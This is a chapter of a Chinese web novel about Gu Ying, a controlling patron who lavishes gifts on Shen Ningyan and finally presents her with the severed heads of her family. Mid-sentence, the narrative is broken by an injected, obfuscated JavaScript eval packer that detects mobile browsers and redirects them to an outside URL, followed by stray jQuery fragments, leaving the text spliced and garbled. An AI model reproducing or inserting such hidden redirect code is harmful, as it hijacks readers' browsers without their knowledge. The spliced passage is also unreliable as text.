第十二章
自那日从地牢回来,沈凝燕在顾宅格外安静。
整日坐在窗边几乎不言一语。
前天顾瀛无意中得了一本罕见的医书,他在鬼市忙不开身,便命陈叔给沈凝燕送去。
“她怎么样?”顾瀛放下手中的案卷,轻捏眉心。
“回爷的话,沈姑娘自打爷这儿回来就总是坐在窗边发呆。”陈叔如实禀告,“昨天我去送书的时候,沈姑娘也只是点头示意,看着像是兴致缺缺,没什么精神。”
“她是吓着了。”顾瀛皱了皱眉,指尖的力度加重几分,“陈叔,你说到底该如何哄人。”
“我再无法接受她离开我,我盼了她那么久,等了她那么久,好不容易留她在身边。我想告诉她我有能力保护她,我有多爱她。”
陈叔自小就进宫当太监了,他年少时潜心向上爬,根本没有心力谈情说爱。如今人到中年在深幽的后宫里见惯了尔虞我诈,不知不觉间便失去了爱人的勇气与兴趣。
所以他也不知道。
他回想着宫里娘娘们什么时候会开心,比着葫芦给年少的顾瀛画出个瓢。
“许是......送些稀罕玩意儿?”他想了想,“天下女子哪有不喜欢又稀罕又漂亮的玩意的。”
顾瀛回忆起儿时母后看到父皇拿来珍宝时的模样,是开心的。
“又或是,替她圆了愿。”陈叔回忆起那些替家族向先帝谋取利益的妃嫔。
顾瀛一手撑着下巴,放在案上的另一只手用指节轻叩桌面。
“你先回吧。”片刻他低下头重新看向案卷,“出去的时候帮我把赤飞喊进来。”
这天晚上,顾瀛将手边的事情处理完,回来直奔凝宵阁,从怀里掏出一个裹着绸缎的精致木匣。
“打开看看。”他将木匣递到沈凝燕面前。
沈凝燕打开匣子,里面是一只玛瑙蝴蝶银步摇,玛瑙色泽温润,打磨成一只蝴蝶模样,无论做功质地皆是上等货色。
“喜欢吗?”顾瀛问她。
步摇着实好看,只是沈凝燕心中惊吓未平,思绪尚且混乱,脸上看不见半分笑容。
顾瀛也不恼怒,起身拿起步摇亲手为她簪上。
她拉着沈凝燕在屋里走了几步,随步子走动,红色玛瑙宛若彩蝶萦绕身侧起舞。乌黑的发,三两点红,和着冰肌雪肤,叫人移不开眼。
他轻轻勾起嘴角,大掌抚上沈凝燕的侧脸摩挲,甚是满意。
“燕妹妹,你喜欢剪月居吗?”顾瀛将她拉到腿上坐下,“你若是喜欢,我将剪月居送你可好?”
剪月居其实本就是建来打算送予沈凝燕的,只是她自己一直不知道。
沈凝燕先前去逛的时候就挺喜欢剪月居的,有自己的院子就代表着能有更多属于自己的时间,或许可以和顾瀛少见些面。
她点点头。
顾瀛满意地笑了笑。
第二天陈叔便来帮她和石莲“搬家”。
说是“搬家”,也不过是从外院挪至里院。前一晚她和石莲收拾行李,数来数去,真正属于沈凝燕的东西竟一个箱子都没装满。
最后她索性只带了三五件衣裳过去。
一日她去凝宵阁拿书看的时候,和陈叔随口抱怨了两句剪月居没书看,谁知第二天便多了一整面墙的书。
“姑娘若是还缺什么,您尽管提,这剪月居本就是爷为了您才建的。”陈叔瞧着最后一本放上架子,“爷担心您没有自己的屋子,不乐意您受那种委屈,这才做了这番设计。”
沈凝燕点点头,环顾四周,算是安定在剪月居内。
往后的日子里,顾瀛隔三岔五往剪月居带新鲜玩意儿,有吃的、用的、时兴的衣裳、但凡是有些意思的讨喜物件儿,都被他拿了回来。
他变着花样地往沈凝燕这儿送东西,逗她开心。
不出半个月,剪月居便塞满了一个箱子。
这日晚上他带回来了两捆江南供奉的丝线,沈凝燕也没问他从何而来,只是一如往常喊石莲收下。
“你改日用这丝线给我绣个帕子吧。”顾瀛坐在桌边喝茶,“我想用你做给我的东西。”
“不是有荷包吗?”沈凝燕倚在美人榻上,拖着下巴朝窗外看。
“那个哪儿舍得平日里用。”顾瀛盯着沈凝燕的腰肢看,“那个是贴身带着,放贵重东西的。这个是拿来平时用的。”
“我不想绣,我不喜欢绣东西。”
大概是从那次发脾气咬了顾瀛一口之后,沈凝燕有什么想法都不再瞒他,反正那样癫狂的模样都被他瞧见了,其他的就无所谓了许多。
“那些荷包都是小娘陪我绣的,自小娘走后,已经很久没有正经绣过什么了。”
“那再试着绣一个吧,权当是为了我。”顾瀛搂着她,“你绣工好,旁的我都瞧不上。”
“你不是整日能寻来那么多稀罕玩意儿吗?比我厉害的绣娘那么多,你去寻她们。”沈凝燕一个转身,拨开他的大掌,坐在了对面的矮凳上。
“绣东西会让我想小娘......”
“你小娘是怎么离世的?”
这是顾瀛第一次企图从解沈凝燕口中了解她的过去。
沈凝燕顿了顿,拨弄着桌上的东西:“被深宅大院吃了。”
宫里长大的顾瀛自然明白是什么意思,他给她斟一杯茶:“那你恨他们吗?”
“恨。”沈凝燕看着杯中倒影,轻抚腕上银镯,“怎么不恨......如果不是他们我小娘也不会自缢,我们母女俩虽不受宠,但也绝不至于落到此般境地。”
顾瀛没继续追问下去,起身将沈凝燕拥在怀里:“以后他们再也伤害不到你了,我不会再让他们伤害你。”
夏日蝉鸣,声声入人心。
**
人最怕“习惯”二字,如今沈凝燕在顾府住的久了,渐渐也习惯起来。
这里的吃穿用度向来是顾瀛安排的上好物件,家仆婢女虽不如和云杏那般亲近,但最起码没有二心。
再没人欺辱她,没人议论她,更不用整日演戏装模做样讨人欢心。
除了......不能随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450054|201158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意出去,没什么自由除外。
但她也没什么地方能去。
沈凝燕认真观察过,只要不想着逃跑,不骗他,不想着和别的男人勾勾搭搭,顾瀛就不会太过为难她。
最近就连深夜之事.......只要她不愿,顾瀛也绝不强迫她。
在这样的日子里泡着,沈凝燕的态度或多或少都比先前更柔和些,心性也起了安稳的念头。
她看着今日顾瀛让赤飞送回来的东珠耳坠,是往日在沈府时绝对轮不到她碰的物件。
这里似乎当真如顾瀛当初所言,有荣华富贵,有锦衣玉食,有好像安稳的日子。
“顾爷今日事多,恐不能回府陪姑娘用饭。”赤飞将耳坠交给石莲,“叫我先将东西带回来,说希望这稀罕玩意儿能讨姑娘一笑。”
用过晚饭,沈凝燕侧卧在床边。剪月居植物繁多,月光下的院子就像是位披着纱的含羞少女。
比起先前在沈府住的院子不知大多少倍,好多少倍。
她转头看着放在妆台上的东珠耳坠,约摸看了有一盏茶的功夫,终于垂下眼,起身走了过去。
东珠璀璨且温润,映着烛光闪着色泽,她坐在铜镜前,轻轻捻起一只戴上。
“哎呀,姑娘你带着个可真好看。”石莲路过瞧见,放下手中的浣洗盆上前,“以前顾爷送来的东西都没见姑娘用过,现如今看来这珠子是实打实地衬人,想来爷在选物件上是用了心思的。”
“是啊,我向来是不碰他送来的东西的。”沈凝燕微微转首,微垂着睫侧目看镜中白珠,“但他既然用了心,日后就试试吧。”
“那我替姑娘戴另一边。”
“嗯。”沈凝燕收回视线,垂着的眼却仿佛游离在远方。
翌日一早,她特意选了件浅色的淡雅裙子配这副东珠耳坠,午后坐在荷花池边,盯着水中倒影发起了呆。
不多时,半月拱门那边传来嘈杂的脚步声。
她撩起眼皮瞧过去,竟是顾瀛从凝宵阁进来。
顾瀛手中提着两个方型锦盒,望见她耳朵上的东珠耳坠,轻轻挑起了嘴角。
直到沈凝燕走近,他才清了清嗓先一步朝厢房走去:“燕妹妹快来,看看我今日带给你的礼物。”
沈凝燕刚步入房门便闻到一股诡异的味道,顾瀛向来能寻得稀罕东西,她站在门口等顾瀛打开。
“这东西能解你忧愁,保你喜欢。”他轻轻抽开裹在锦盒上的绸带,满脸期待。
随着盖子缓缓升起,边缘有几片牡丹花瓣露出来,沈凝燕眼底有几分好奇,觉得这东西包装还有几分巧思。
盖子越升越高,牡丹上搭着零星几根黑色的丝线。
紧接着沈凝燕的表情越来越僵,瞳孔逐渐放大。
待锦盒完全打开,屋内所有婢女突然尖叫起来,戴着东珠耳坠的人突然笔直栽砸了下去,一张精致的脸上没有半分血色。
屋内像被点燃的炮竹,炸作一团。
嘈杂之间,唯有桌上被牡丹簇拥着的沈院使和沈家大娘子的头颅,安安静静。